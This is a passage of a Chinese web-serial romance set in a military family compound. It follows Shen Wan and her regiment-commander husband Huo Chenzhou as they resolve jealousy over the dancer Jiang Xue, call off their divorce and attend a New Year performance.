对方穿着剪裁得体的藏青色大衣，脖子上系着条浅色羊绒围巾，黑发挽成优雅的低髻，身形高挑，整个人散发着知性温婉的气质。 沈晚眯起眼睛，认出这正是上次在文工团见过的台柱子——蒋雪。 此刻她正微微仰头对霍沉舟说着什么，唇角挂着浅笑。 霍沉舟虽然面无表情，但依旧微微低头听蒋雪说话。 从沈晚的角度看去，男帅女美，异常登对。 沈晚缓缓放下准备打招呼的手，静静看着他们交谈。 最后，蒋雪还伸出纤纤玉手想和面前的男人握一下手，霍沉舟只是礼貌地虚握一下，连掌心都没碰到就松开了。 然后蒋雪指了指不远处的军用吉普不知道说了什么，霍沉舟迟疑片刻后点头，两人一前一后朝车子走去。 沈晚站在相反方向的树下，看着吉普车扬长而去。 沈晚能看出霍沉舟对蒋雪并无他意，可心底仍泛起隐秘的酸涩，像是有根细小的刺，不轻不重地扎在心头。 她低头看着沾满泥点的裤腿，突然觉得又气恼又委屈。 把手揣回兜里，沈晚转身往家走。 重新回到医院附近的时候，遇到了骑着自行车的张思德。 "沈顾问？"张思德惊讶地刹住车，"你怎么还在这儿？" 沈晚扯了扯唇角："有点事耽误了。" 张思德看着她脏兮兮的衣裤和冻得通红的鼻尖，不忍心道："我送你回去吧？" "不用了。"沈晚摇摇头，"我坐你车后座会惹闲话的。" 张思德低头喃喃："……其实我不介意的。" "什么？"沈晚没听清。 "没什么！"张思德慌忙摇头，干脆推着车走到她身边，"那我陪你走回去。" 沈晚想拒绝：“这不合适吧，天快黑了，你还是先回家吧。” 张思德推着自行车：“没事，我住的宿舍离部队很近，我先送你回去。” 两人说话间，已经走出几步。 张思德怕沈晚还要赶他走，继续说："沈同志，你这裤腿上的泥印是...？" "刚才在路口，有辆车溅的。躲都来不及。" 张思德愤愤不平："这也太过分了！没想到部队里还有这种事。" 他瞄了一眼情绪不佳的沈晚，主动说："没想到霍团长那么忙，中午还抽空给你送饭，你们感情这么好，肯定不会离婚了吧？" 沈晚又想到刚才霍沉舟和蒋雪一起上车的场景，红唇抿紧，赌气道："感情这种事，谁又能说得准呢？" 张思德听着沈晚冷邦邦的语气愣了一下：“你和霍团长这是吵架了？中午不还好好的吗？” 第九十八章 你还想和我离婚吗？ "没吵架。" 沈晚硬邦邦地回了一句，脚步不自觉地加快。 张思德失笑，推着自行车小跑跟上："别说，你现在气鼓鼓的样子，比平时可爱多了。" "可爱？" 沈晚不解。 张思德点点头，耳尖微红："对啊，因为你平时都很沉稳，但今天这样就感觉很有活力和生气。" 沈晚不知该说什么，只是笑笑。 两人沉默地走了一段，沈晚随口问道："张医生，你多大了？" "过了元旦就二十一了。" 沈晚笑道："那要提前祝你生日快乐啊。" "我觉得，生日祝福还是当天亲口说比较诚心。" 沈晚没多想："有机会一定当天祝你生日快乐。" "我很期待。"张思德声音轻得几乎听不见。 又走了一段，沈晚像关心弟弟般问道："你这么大了，还没对象吗？" "没有，"张思德踢着路上的小石子，"没遇到喜欢的。" "那你喜欢什么样的女同志？" 张思德抬头偷瞄她精致的侧颜：“我喜欢眼睛亮亮的，笑起来有酒窝，皮肤白白的，身形高挑，做事有主见，待人真诚的。” 沈晚完全没听出弦外之音，反而打趣道："那你要求还挺高的。" 张思德不好意思地挠了挠后脑勺。 两人说话间已走到家属院门口，沈晚指了指大院："我到了，你赶紧回去吧，谢谢你送我回来。" 张思德依依不舍地点头："好，那我走了，再见。" "再见。" 等张思德骑车离开后，沈晚才转身进大院。 她刚跨进大门，不远处一辆车缓缓靠近停在路边。 霍沉舟从储物盒摸出包大前门，咬着一根点燃，他修长的手指搭在方向盘上，青筋微微凸起。 刚才他远远又看见自家媳妇又和那个张医生并肩而行，明明中午才因为这人闹过不愉快，但是这女人竟然还是不知道避嫌。 霍沉舟越想心中越烦，摇开车窗吐了一口烟。 抽完两根烟后，霍沉舟才整理好情绪下车。 下车前，霍沉舟瞥见副驾驶上那瓶用报纸包着的张裕解百纳干红，顺手拿了下来。 他拎着酒进门时，沈晚正在卧室里陪霍小川玩。 霍沉舟把红酒随手放在桌子上，边脱外套边往屋里走，挺拔的身躯站在门口，沈晚想忽视都难，她抬头看了一眼男人，随后板着小脸移开视线继续夸霍小川字写得好。 霍小川举着本子给沈晚展示他刚学会的“爱”字，小表情得意洋洋的。 霍沉舟也气，但他突然注意到沈晚脏兮兮的裤子，还是忍不住问道："你裤子怎么了？" 沈晚抿着嘴不吭声。 霍小川仰起小脑袋："妈妈刚才说了，是路上不小心被车子溅到泥水啦！" 霍沉舟憋了半天，最后只是淡淡道："笨。" 沈晚立刻冷笑："对呀，我当然没有你开车方便了。" 霍沉舟听着她带刺的语气，以为她还在为中午张思德的事生气，心中无奈：这女人是越来越记仇了。 "晚上想吃什么？我做。" 沈晚阴阳怪气："不饿，喝西北风喝饱了。" 霍沉舟权当没听见："那我随便做了。" 霍小川拽了拽沈晚的衣角，天真地问："妈妈，什么是西北风？好喝吗？" 沈晚被儿子逗得忍俊不禁，摸了摸他的小脑袋："不好喝。" 霍沉舟把晚饭做好后，沈晚本来打定主意不吃。 可霍小川拽着她的袖子直晃："妈妈吃饭！妈妈你就吃吧。" 她只好磨磨蹭蹭坐到饭桌前，眼神突然被桌上那瓶红酒吸引。。 "红酒哪来的？"沈晚忍不住问。 霍沉舟给她夹了块肉："别人送的。" 这个年代谁会送红酒？ 沈晚脑海里不由想到优雅的蒋雪，她看起来倒是很像会送红酒的人。 她指节发白地攥紧筷子："谁送的？" "你不认识。" "你不说怎么知道我认不认识？"沈晚自己都没察觉这话里的火药味。 霍沉舟黑眸直视她："文工团的蒋雪。" 果然是她。 沈晚心里像打翻了五味瓶，说不清是什么滋味，她不再追问，低头扒饭。 霍沉舟看着小女人光扒饭不吃菜的样子，终究心软了。他又夹了块排骨放进她碗里："别光吃米饭。" 沈晚依旧闷不吭声，但悄悄把排骨吃了。 晚上，霍小川睡着后，沈晚坐在灯下翻看董院长给的《伤寒论精要》。 这本线装书是董建林特地淘来的，上面还有历代医家的批注，看得她受益匪浅。 正当她琢磨着一则脉案时，灯光突然被阴影笼罩。 沈晚抬头，只见霍沉舟站在面前—— 男人上半身赤裸，结实的肌肉在灯光下投下深浅不一的阴影，军绿色裤衩松松垮垮地挂在胯骨上，露出清晰的人鱼线。 沈晚皱眉："挡我光了。" 霍沉舟不说话，只是定定看着她。 沈晚忍不住伸手推他，却被一把攥住手腕，男人带着薄茧的拇指在她掌心暧昧地摩挲：“还在生中午的气？” 沈晚费力想抽出手："没有。" "还说没有，"霍沉舟伸手抚平她紧蹙的眉心，"都气成这样了？" 感受着男人的温柔，沈晚眼眶发热。她眨眨眼，强迫自己不要掉眼泪。 霍沉舟将她手里的医书倒扣在桌上："先别看了。" 然后将她抱回了自己屋里。 霍沉舟将她轻轻放在炕上，细细吻过她的额头、鼻尖，最后落在唇上。 新生的胡茬蹭得沈晚又痒又麻，忍不住扭动身子："放开我……" 霍沉舟非但不松手，反而变本加厉地用下巴蹭她颈窝，沈晚差点憋不住笑出来，又立刻板起脸。 沈晚把脸别向一边，声音闷闷的："你和蒋雪很熟？" 霍沉舟一愣："你认识蒋雪？" "嗯，"沈晚揪着被角，"李丽的表妹。听她吹嘘过，也看过演出，应该是个很优秀的女同志吧？" 霍沉舟听着这酸溜溜的语气，眼底漫上笑意："原来我家阿晚是吃醋了？" “没有！” “那酒是她找我帮忙送我的，我想着你可能喜欢便拿回来了。” 沈晚咬了咬下唇，看着身上男人的俊脸，终于忍不住问出心底的那句话：“霍沉舟，你还想和我离婚吗？” 第九十九章 圆房 霍沉舟愣住了，心脏像是被一只无形的手狠狠攥紧。他喉结滚动，生怕从她口中听到那句"我想离婚"。 若真如此，他不敢保证自己会做出什么事来。 沈晚见他沉默不语，眼中的光一点点暗下去。 她垂眸掩饰住汹涌的失望，作势要起身："时间不早了，我先去睡觉了。" 声音已经微微发颤。 但是霍沉舟却突然扣住她的手腕，沉声道：“我不想离，这辈子我都想和你好好过日子。” 沈晚心头猛地一颤，抬眼撞进男人深邃的眸子里，那里面的执拗与炽热几乎要将她灼伤。 “那你呢？还想离吗？” 霍沉舟定定凝视着她的眼睛。 沉默在两人之间蔓延，他眸色渐深，误以为沈晚仍存去意，下颌线条绷得死紧。 就在他即将咬牙说出"想离婚除非我死"的狠话时—— 沈晚忽然笑了。 她双手环上他的脖颈，带着几分狡黠凑近："我也不想离。" 霍沉舟怔住，随即眉眼舒展，难得露出灿烂笑容。 他一把将人搂进怀里，力道大得像是要把她揉进骨血，沈晚被勒得轻哼一声，却掩不住嘴角甜蜜的弧度。 "那你明天去把离婚申请撤了。"她戳了戳他硬邦邦的胸膛。 霍沉舟低笑出声，胸腔震动传到她耳畔："我早就撤了。" 沈晚惊讶："啥时候的事？" “上次我去办公楼找首长就已经说清楚了，不离了。” 沈晚顿时反应过来，合着那时候她还以为他们要说正事，特意出去给他们腾空间，结果说的是这事。 “那你怎么不告诉我？” 沈晚气恼地想打他。 霍沉舟抚摸着她柔顺的长发，声音里带着几分委屈："怕你还想离婚，只能偷偷把这事办了。" 沈晚不爽的撅起嘴巴，亏她还为这事辗转反侧了多少个夜晚！这男人倒好，闷声干大事，连个招呼都不打。 霍沉舟亲了亲她撅起的唇瓣："别生气了。" 沈晚依偎在他怀里，闷闷道："其实我今天下班后去找你了。" "什么时候？"霍沉舟一愣，"我怎么没看见你？" "你没看见我，"沈晚指尖戳着他硬邦邦的胸口，"我可看见你和蒋雪一起上车了。" 霍沉舟眸色一深，突然低笑出声：“原来是为这个？蒋雪和我是大学同学，她找我是想让当她们元旦节目的军事指导，但我拒绝了，让顾战去了。让她上车是顺路送她一段，没有别的意思，红酒也是她说送给你的。” 沈晚听完解释，也不好意思再生气了：“行吧。” 霍沉舟低沉的嗓音带着蛊惑:"事情都说开了，那我们干点别的？" 沈晚装作听不懂：“还有什么事？” 霍沉舟却突然伸手从枕头底下掏出一件眼熟的红色布料。 沈晚俏脸顿时红透了：“这东西怎么在你这儿？” 霍沉舟指尖勾着细链，铃铛发出清脆的声响:"自己找到的。" 沈晚低着头，耳尖红得能滴出血来，虽然她是个现代人，可在那方面却纯得像张白纸，此刻只能尴尬地抠着手指。 霍沉舟俯身在她耳边呵着热气，"穿给我看，好不好？" 沈晚咬唇点了点头，羞得整个人都要烧起来。 红绸衬得肌肤如雪，银铃随着呼吸轻颤。 这一晚，两个人终于把身心都完全交付给对方，直到后半夜，沈晚才昏昏沉沉地趴在他汗湿的胸膛上。 她迷迷糊糊中感觉有温热的毛巾轻轻擦拭身体，可她累得连眼皮都抬不起来，只能任由霍沉舟伺候。 一觉醒来时，太阳都出来了，沈晚下意识去摸身旁的位置，床铺还残留着余温，显然男人刚起身不久。 "嘶……" 沈晚刚想坐起来，腰腿间传来的酸痛顿时让她倒吸一口凉气。 她红着脸暗骂一句：这男人简直是头不知餍足的狼！ 这时门外传来脚步声，霍沉舟端着一碗小米粥进来。 沈晚从被缝里瞥见他神清气爽的模样，气得翻了个白眼，翻身用被子蒙住头。 霍沉舟坐到床边，轻轻扯了扯被角："饿了吧？喝点粥垫垫。" 被子里传来闷闷的声音："小川呢？" "去托儿所了。"霍沉舟看着那团蠕动的被子，眼底漾起笑意，"我特意熬的，加了红糖……" 粥香一个劲儿往鼻子里钻，沈晚的肚子不争气地"咕噜"一声，她终于败下阵来，从被窝里探出个乱蓬蓬的脑袋。 霍沉舟举起汤勺在嘴边吹了吹，才递到沈晚嘴边。 她一口气喝了小半碗，体力总算恢复了一点。 霍沉舟见沈晚不喝了，把碗放在一旁，拉住女人的手：“今天就搬到这屋来住吧。” 沈晚想到男人惊人的体力，自己要是搬过来还不得被榨干，连忙摇摇头“不行！” "为什么？"男人眼神危险地眯起。 沈晚绞尽脑汁，想了个好理由：“小川现在还小呢，晚上他一个人睡会做噩梦的。” 霍沉舟就这么委屈地盯着她，活像一只求宠不得的大狗。 沈晚被他看得心虚，伸手揉了揉他硬硬的发茬："等把小川哄睡着，我再来找你嘛，反正就在隔壁。" 沈晚又亲又抱，最后又献身了一次，才把霍沉舟哄好。 他勉强答应了先不住在一屋，但是等来年开春，两个人必须住一间屋，躺一张床，沈晚满口答应。 霍沉舟这才满意地去了训练场，沈晚留在家里继续睡觉。 训练场上，顾战偷瞄了霍沉舟好几眼，今天的团长格外反常，看起来心情不错的样子。 往常冷峻的眉眼此刻舒展着，唇角甚至带着若有若无的弧度。 指导新兵格斗时，霍沉舟破天荒地亲自示范，一个过肩摔后还顺手把摔倒的小战士拉起来，温和地拍拍他肩膀："发力时腰要再沉三分，动作才能干净利落。" 小战士激动得语无伦次："谢、谢谢团长指导！" 霍沉舟重新看向场外围观的新兵们："还有谁？一块上来。" 四五个新兵面面相觑，谁都不敢先动。 顾战嘴里叼着草根在一旁煽风点火："放心吧，团长能打着呢！你们四个一起上都不一定够看！" 第一百章 这婚事能不能成还两说 到底都是年轻小伙，被这么一激，心里都生起几分好胜心来。 四个精壮的新兵对视一眼，同时扑向霍沉舟。 左侧的使出一记扫堂腿，右侧的挥拳直取面门，后方的两人更是配合默契，一个锁喉一个抱腰。 霍沉舟眸光一凛，身形如游龙般闪转腾挪。 只见他先是侧身避过拳风，反手扣住对方手腕借力一甩，那人顿时成了人形盾牌撞开锁喉的战友；同时右腿如鞭横扫，将扫堂腿的新兵掀翻在地；最后肘击后撞，两个想偷袭的兵蛋子顿时滚作一团。 半分钟后，训练场上尘土飞扬，唯剩霍沉舟挺拔如松的身影立于中央，四个新兵东倒西歪地躺在地上哼哼唧唧，却个个眼睛发亮。 他们不是输不起。 "战场上没有公平对决。以少打多时，要学会借力打力，把敌人变成你的武器。" 霍沉舟丢下这一句，就径直离开了。 顾战连忙跟了过去，八卦地问：“团长，你遇着啥好事了？看起来心情不错啊。” 霍沉舟冷睨他一眼：“我看起来很高兴？” “岂止啊，脸上都快藏不住笑了。” 霍沉舟闻言勾了勾唇角，眸中漾起罕见的温情。 顾战顿时打了个激灵，好家伙，估计只有嫂子才能让团长这么思春。 "团长，明天晚上大礼堂有元旦表演，蒋同志特地让我问您去不去？" 霍沉舟挑眉："表演？" "对啊！有蒋同志领舞的舞蹈表演，还有相声、快板……蛮热闹的。" "我回家问问阿晚。她想去我就陪她一起。" 顾战"啧啧"两声，幸灾乐祸道："现在出门在外都得看嫂子脸色行事了？" 话音未落，一记凌厉的眼刀就扫了过来，顾战赶紧举手投降。 家属院里，沈晚被急促的敲门声惊醒。 她迷迷糊糊支起身子，被子滑落，露出半边雪白的肩膀和若隐若现的红痕，都是昨晚某人留下的"杰作"。 门外敲门声不停，沈晚随便披了件霍沉舟的外套去开门。 没想到站在门口的竟是苏琴杉，她顿时冷了脸："你来干什么？" 苏琴杉左右张望，压低声音："进去说。" 沈晚慵懒地倚在门框上："有话就在这说，家里不欢迎绿茶。" "什么绿茶？"苏琴杉皱眉。 "反正不是什么好话。" 苏琴杉咬唇瞪着她，恨恨地说：“是不是你背地里跟阿战说我坏话了？导致我们离心。” 沈晚简直要被她的逻辑气笑了："你觉得你们俩离心是我导致的？" 苏琴杉对沈晚简直气得牙痒痒："不然呢？要不是你在背后挑拨，阿战怎么会突然对我这么冷淡？他现在连碰都不愿意碰我。" 沈晚说话专戳心窝子："你当初做那些亏心事的时候，难道没想过会有今天？顾战掏心掏肺对你，你却把他当跳板，利用他的真心给自己和苏家谋好处，你这样的白眼狼，就该孤独终老，根本不配得到真心！" 苏琴杉差点破防了："你！" 她恨不得扑上去撕烂沈晚的嘴，却又怕被人看见，只能硬生生忍住。 突然，她瞥见沈晚衣领下若隐若现的红痕，似乎又找到了攻击沈晚的理由，讥讽道："呵，我还以为你多清高呢~难怪霍团长不离婚了，原来你这个小贱人是靠床上功夫留住男人的呀？也是，你这样天生的狐媚子，也只会用这种手段留在大院了。" 沈晚慢条斯理地抚过脖颈上的红痕，唇角勾起一抹讥诮的弧度："我和霍沉舟是正经夫妻，孩子都能打酱油了。我们做什么那都是天经地义。" "倒是你——"她上下打量着苏琴杉，"听说证都还没领呢？这婚事能不能成还两说吧？" 这正是苏琴杉现在所担心的，她现在年纪已经不小了，要不是经历过上辈子被那个男人背叛的惨痛教训，她怎么会委屈自己来部队过这种清苦日子？ 如果顾战真的狠心悔婚，她还能依靠谁？ 这时，隔壁院子的赵晓燕看见这边的沈晚和苏琴杉在说话，又发现苏琴杉脸色不太好看，担心沈晚吃亏，喊了一声：“小晚妹子，我家包了饺子，过来拿点回去。” 沈晚扬声应道："好嘞赵姐，我换身衣服马上来！" 苏琴杉还想拽她胳膊："你不许走！咱俩话还没说清——" 沈晚灵活地侧身避开，笑了笑："我现在没兴趣听你说话了，要不你晚上带着顾营长来？当着我和霍沉舟的面，把你想说的话都说清楚？" 沈晚就是拿捏她心里有鬼。 "砰！" 沈晚猛地关上门，要不是苏琴杉退了一步，鼻尖差点被门板拍扁。 苏琴杉气冲冲地离开时，正巧撞见李丽提着夜壶出来倒。 自从上次差点害赵晓燕流产，李丽在家夹着尾巴做人，王强军也没再动手，她气色还是很差，但那股刻薄劲儿丝毫未减。 她看见苏琴杉和沈晚不知道说了什么话脸色阴沉沉的，好奇地走过去问：“琴杉，你和那个贱人说什么了？” 苏琴杉瞥了眼她手里的夜壶，嫌弃地捂住鼻子："没说什么。" 李丽亲热地挽住她胳膊："咱俩谁跟谁啊，你还瞒着我？是不是沈晚又欺负你了？" 苏琴杉摇了摇头："没有，就随便聊聊。"她怕李丽继续追问，转移话题，"嫂子，最近你和王大哥怎么样了？" 李丽说起这个心里就恨，狠狠啐了一口："还能怎么样？每天回家就是喝酒，我还得看他脸色。我可是给他老王家生了儿子！他竟然向着外人！要不是为了浩子，我早跟他离了！" 苏琴杉眼底闪过一丝讥讽，嘴上却温声附和："王大哥这样对你，确实过分了。" 两人说着说着，李丽突然揉了揉胃部，眉头紧皱。 苏琴杉："嫂子，你这是胃不舒服？" 李丽摆摆手："也不知道咋回事，这两天胃口差得很，只想吃点清淡的，还总想睡觉上厕所。" 苏琴杉也不知道她这是什么毛病，只能嘴上安慰了两句：“你就算再和王大哥赌气，也要多注意一下身体。” 第一百零一章 我也爱你 沈晚换好衣服来到张家，桌上摆了两大盖帘饺子，白白胖胖的排得整整齐齐。 赵晓燕正往锅里下饺子，见她来了笑道："包了白菜猪肉和酸菜两种馅，你待会端一盖帘回去，晚上煮着吃。" "谢谢嫂子。"沈晚连忙道谢，刚想端起饺子，突然被赵晓燕神秘兮兮地拉住："刚才你和苏琴杉说啥了？我看她走的时候脸都气歪了。" 沈晚迟疑片刻，拐着弯问道："赵姐...你觉得苏琴杉这人怎么样？" 赵晓燕认真琢磨了一会："不好说。面上总是笑眯眯的，可是总感觉那笑容不到眼底，不像表面那么简单，可上次她说你打翻喜糖那事，我瞧着也不对劲！" 见赵晓燕也有怀疑，沈晚干脆把苏琴杉之前作弊、买假酒、污蔑她的事全说了。 赵晓燕听得目瞪口呆，最后憋出一句："顾营长这是娶了个什么媳妇啊？" 沈晚无奈地摇摇头："顾战也是被她蒙蔽了。" 赵晓燕重重叹了口气，搓着手道："亏我之前还觉得这姑娘不错，没结婚就随军来照顾顾战，没想到竟然这么污蔑你，心思这么歹毒，以后可得离她远点。" "就是可怜顾营长了，"赵晓燕愁眉不展，"咱们要不要提醒他？可这毕竟是人家家事,说多了也不好。" "放心吧，顾战不傻。我看他最近对苏琴杉的态度，明显已经察觉到什么了。" 赵晓燕点点头："但愿如此。" 她突然想起什么，"对了妹子，明天大礼堂有元旦汇演，咱一块去看？文工团排了新节目呢！" 沈晚想着闲着也是闲着："好啊。那张大哥呢？他不陪你去？" "他明天回老家，估计得过几天才能回来。。" 沈晚疑惑道："回老家？出什么事了？" 赵晓燕叹了口气："听说是他妈得了个怪病，老家医院查不出毛病，老张回去接她来部队医院瞧瞧。" "到时候有需要找我。" 赵晓燕点头："放心吧，肯定不跟你客气！" 沈晚端着饺子回家，霍沉舟和霍小川回家，正好吃上热腾腾的饺子。 沈晚吃饺子喜欢蘸红油蒜泥碟，父子俩则喜欢酱油醋碟。 霍沉舟："明天大礼堂……" "有元旦演出是吧？"沈晚头也不抬，"赵姐跟我说了。" "那你想去吗？我可以陪……" "要去呀。"沈晚咬开饺子，汁水溅在唇边，"我陪赵姐去。" 霍沉舟筷子顿了顿："...哦。" 可以，又不陪他…… 晚上睡觉前，霍沉舟眼神一直跟着沈晚，沈晚冲他使了个手势，表示她先哄霍小川睡觉，一会来找他。 霍沉舟回了房间，把裤子脱掉只剩下裤衩然后盖上被子，等了一会，又把上衣也脱掉，露出上半身，靠在床头一直看着门口，就等着人来了。 左等右等，也没见人来，霍沉舟终于不耐烦了。 他抿抿唇，下床看见主卧的门关的紧紧的，再尝试一拧，顿时气笑了。 很好，又锁门防他。 沈晚这一晚总算睡了个踏实觉。 她伸着懒腰推开门，迎面撞上霍沉舟幽怨的眼神。 "早呀~"沈晚心虚地眨眨眼。 霍沉舟冷哼一声："看来某人昨晚睡得不错？" 沈晚立刻小跑过去，软绵绵地挽住他胳膊晃悠："哎哟，别生气嘛~还不是你前天晚上折腾我折腾的太狠了，要不然我会这么躲着你吗？" 霍沉舟被她晃得没脾气，最后只能食指戳了戳她的额头：“拿你没办法。” 沈晚"啵唧"一口亲在他脸上："爱你！" 霍沉舟浑身一僵，他缓缓转过头，黑眸里翻涌着难以置信的惊喜："...你说什么？" 沈晚笑吟吟地踮起脚，在他耳边呵气如兰："爱你呀~" 霍沉舟的嘴角先是微微上扬，随即笑容越来越大。 "我也爱你。"他低沉的嗓音里带着微微的颤抖，双手捧起沈晚的脸，珍而重之地在她眉心落下一吻。 两人腻腻歪歪了许久，霍沉舟才走。 下午五点，赵晓燕就过来敲门：“么子，咱走吧。” 今天托儿所放假，霍小川也在家里，看见赵晓燕立马乖巧地招手："赵姨好！" 赵晓燕乐呵呵地摸摸他的小脑袋："小川真乖！姨以后要是能生个像你这么懂事的孩子就好喽。" 小家伙被夸得低下头，主动牵起赵晓燕的手："赵姨慢慢走，我扶着你。" 路上有不少人，都是往大礼堂去的军属。 到大礼堂门口时，沈晚不经意瞥见佟莉娟带着申耀祖，申盼弟依旧不在，估计被佟莉娟又丢在家里了。 申耀祖见人这么多，兴奋得像只撒欢的野狗，在人群里横冲直撞。 沈晚正低头整理衣服，旁边的赵晓燕一个不注意，差点被申耀祖撞到肚子，幸好赵晓燕及时护住肚子，身子踉跄两步。 她皱着眉低头：“谁家小孩啊？怎么也不看好，要是撞到人怎么办？” 申耀祖天不怕地不怕，冲赵晓燕和霍小川吐舌头做鬼脸："略略略~有本事来抓我啊！" 说着又要往人堆里钻。 赵晓燕这个暴脾气，直接一把揪住申耀祖的后衣领："回来！给我道歉！你差点撞到我肚子里的孩子知不知道？" 申耀祖梗着脖子，活像只被掐住后颈皮的猪崽子："呸！谁让你挡路的！" 沈晚冷着脸活动了一下手腕："再不道歉，信不信我再打你一次屁股？" 申耀祖顿时想起上次被揍得惨痛经历，挣扎的力道明显弱了："放、放开我……" 佟莉娟听到声音冲过来，看见赵晓燕抓着自己宝贝儿子，立马上前推开赵晓燕的手：“你放开我儿子！” 赵晓燕顾忌着肚子里的孩子，顺势松开了手。申耀祖立刻蹿到佟莉娟身后，只敢探出个脑袋做鬼脸。 赵晓燕质问道："这是你家孩子？这么多人挤着，万一撞倒孕妇怎么办？" 佟莉娟偷瞄了眼旁边冷着脸的沈晚，心里发憷，毕竟人家丈夫有本事，她可不敢惹。 紧接着又看着面前的赵晓燕，想了想，她应该不是某个大官的媳妇，腰板便挺直了几分。 第一百零二章 吓尿了 "我家耀祖才多大点孩子，能有多大力气？倒是你，这么大个人跟孩子计较，也不嫌害臊！" 沈晚对佟莉娟这欺软怕硬的做派早就见怪不怪，但赵晓燕可是头回见识到和李丽一样不讲理的泼妇，当即气到了。 “都这么大的孩子了，哪里还小，你要是再这么惯着他，将来有的是人帮你教训。” 佟莉娟扬着下巴："我儿子我乐意惯着，关你屁事！" 周围看热闹的人越聚越多，有人小声议论："那不是霍团长家的媳妇吗？" “好像是啊。” 人群外围，一个文工团女演员闻声抬头看向人群中央的女同志。 沈晚乌黑的长发被寒风吹起几缕，衬得那张瓷白的小脸越发清艳，杏眼含怒时眼尾微微上挑，哪怕裹着臃肿的蓝布棉袄，也掩不住她纤细的腰身，领口露出一截雪白的颈子，气质突出。 "那就是霍团长老家的媳妇？"旁边另一个女演员撇嘴，"长得还行，可这也太泼辣了，当众跟人吵架，真给霍团长丢面子。" 蒋雪轻轻摇头："漫漫你别这么说。" 顾漫漫冷哼：“小雪你就是太温柔善良了，你和霍团长可是大学同学，当年谁不夸一句你们是天造地设的一对，要不是那个女人，现在成为团长夫人的就是你了。” 蒋雪苦笑着摇头："别提这些了，现在沉舟幸福就好，我们快进去吧。" 顾漫漫无奈地摇摇头："你就是太不争不抢了，要是真放下了，你何必一听说霍团长要离婚，就立刻结束总政的培训赶回来？" 她恨铁不成钢地戳蒋雪额头：“当初的魄力呢？现在都回部队了，又开始退缩了。反正我感觉那个乡下女人就是比不上你。” 蒋雪低头整理袖口的蕾丝轻声道："我听说沈同志在军区医院很受尊敬，连董院长都夸她医术好..." "切！"顾漫漫翻了个白眼，"不就是会扎几针吗？哪比得上你莫斯科舞蹈学院进修的才华？要我说——" 她突然噤声，戳了戳蒋雪："快看，霍团长来了！" 蒋雪抬头，果然看见霍沉舟带着几个军官朝这边走来。 他穿着笔挺的军装，身形挺拔，在人群中格外醒目。 顾漫漫兴奋地低语："我就说他肯定会来看你表演的！要不要去打个招呼？" 蒋雪默默摇头，眼睁睁看着霍沉舟走向沈晚。 男人大步走到沈晚身边，沉声问："发生什么事？" 沈晚有点惊讶："你怎么来了？" "下午没事。来找你。" 沈晚心头一暖，指着佟莉娟告状："她儿子刚才差点撞到赵姐肚子，还不肯道歉。" 佟莉娟没想到会在这里撞上霍沉舟，被他冷眼一扫，顿时腿都软了。 申耀祖更是吓得直往母亲身后躲，小脸煞白。 佟莉娟强挤出一丝笑，使劲拽儿子，"霍团长，误会，都是误会，耀祖，快给婶子道歉！" 申耀祖瘪着嘴，嗫嚅道：“对不起。” 霍沉舟眉峰一压："大点声。" 这三个字像道惊雷，把申耀祖吓得腿一抖，裤裆瞬间湿了一片，他"哇"地一声嚎啕大哭，鼻涕眼泪糊了满脸。 周围人闻到尿骚味，纷纷嫌弃地后退。 佟莉娟臊得满脸通红，抱起儿子就跑："霍团长，孩子还小不懂事，我这就带他回去管教！" 众人见没有热闹看了，纷纷散开。 霍沉舟若无其事地牵起沈晚的手。 沈晚耳根微红，嗔怪地瞪他一眼。 赵晓燕见状抿嘴偷笑："霍团长，那我就不打扰你们了，我先进去了。" 沈晚担心赵晓燕一个人，连忙叫住她：“赵姐，我早答应陪你看了。" 她说着挣脱霍沉舟的手，挽住赵晓燕胳膊，“让他们爷俩自己坐去。” 两人一起往大礼堂走去。 留下霍小川和霍沉舟大眼瞪小眼，霍小川主动走过去拉住爸爸的手：“爸爸，我陪你。” 霍沉舟捏捏他的小手：“好。” 目睹全程的蒋雪脸色有些惨白，她能看出霍沉舟对沈晚的爱怜与喜欢，那是旁人都没有的。 旁边的顾漫漫怕她伤心，小心翼翼关心道：“小雪，你没事吧？” 蒋雪强扯出一抹笑："我没事。" “真没事？”顾漫漫又观察了一眼蒋雪的脸色。 蒋雪低头掩饰泛红的眼眶，"真没事，快进去吧，别让其他人等急了。" 顾漫漫欲言又止，最终还是叹了口气跟上。 赵晓燕和沈晚随着人流往里走，赵晓燕用手肘碰了碰她："真不去陪你家霍团长啊？他可是特地来找你的。" 沈晚无所谓地笑笑："反正天天见面，今天可是我先答应陪你的。 "两人说着，在礼堂左侧第五排找了两个位置坐下，这里视野好，又不会太靠前被舞台灯光晃眼。 整个大礼堂张灯结彩：舞台两侧挂着"欢庆元旦"的红色横幅，顶棚垂下串串彩色纸灯笼，每排座椅都系着喜庆的红绸带。 这种节目，霍沉舟能来绝对是给文工团很大的面子了，所以他刚进礼堂，就被文工团政委热情地引到了第一排正中位置。 霍小川坐在他腿上，小脑袋转来转去，对一切都充满好奇。 霍沉舟目光随意一扫，立刻锁定了沈晚的位置。 见她正和赵晓燕正在磕瓜子，眉眼不自觉柔和了几分，随即收回视线。 随着嘹亮的军乐声，元旦汇演正式开始。 有大合唱、快板和相声。 霍沉舟对这些老套节目兴趣缺缺，倒是霍小川很兴奋，一直看着台上。 很快到了舞蹈节目。 蒋雪作为领舞，穿着一身飒爽的舞蹈服登场，腰间扎着宽皮带，显得英姿勃发。 她上台第一眼就锁定了第一排中央的霍沉舟，两人视线在空中短暂相接，随即她就开始随着音乐开始自己的表演。 蒋雪的舞姿翩若惊鸿，台下不时爆发出阵阵赞叹，几个年轻战士更是看得眼睛发直： “蒋雪同志跳舞也太好看了，看她跳舞就是一种视觉享受。” “听说她还没有对象呢，等表演完，我要去约她看电影！” “你也不看看你那熊样，蒋雪同志能看上你？” 第一百零三章 嫉妒的发狂 赵晓燕远远望了一眼第一排的霍沉舟，凑到沈晚耳边："你心里真不介意霍团长来看蒋雪跳舞？" 沈晚知道她是想到上次在大礼堂门口听到别人说蒋雪是为了霍沉舟才从京市回来的话。 沈晚点点头又摇摇头：“之前有点介意，现在不介意了。” 赵晓燕：“为什么？” "一个男人心里若有你，就算天仙下凡也入不了他的眼。若心里没你，就算你拿铁链拴着，该跑还是会跑。" 赵晓燕听得云里雾里，但莫名觉得很有道理："还是你们文化人会说话！要是我家老张敢看别的女人一眼，非让他吃不了兜着走！" 等蒋雪的舞蹈结束，剩下的都是些领导讲话和表彰环节。 霍小川开始坐不住了，四处乱看。 这时，角落里一个穿红棉袄的小男孩冲他偷偷招手，是他在托儿所认识的朋友乔晓峰。 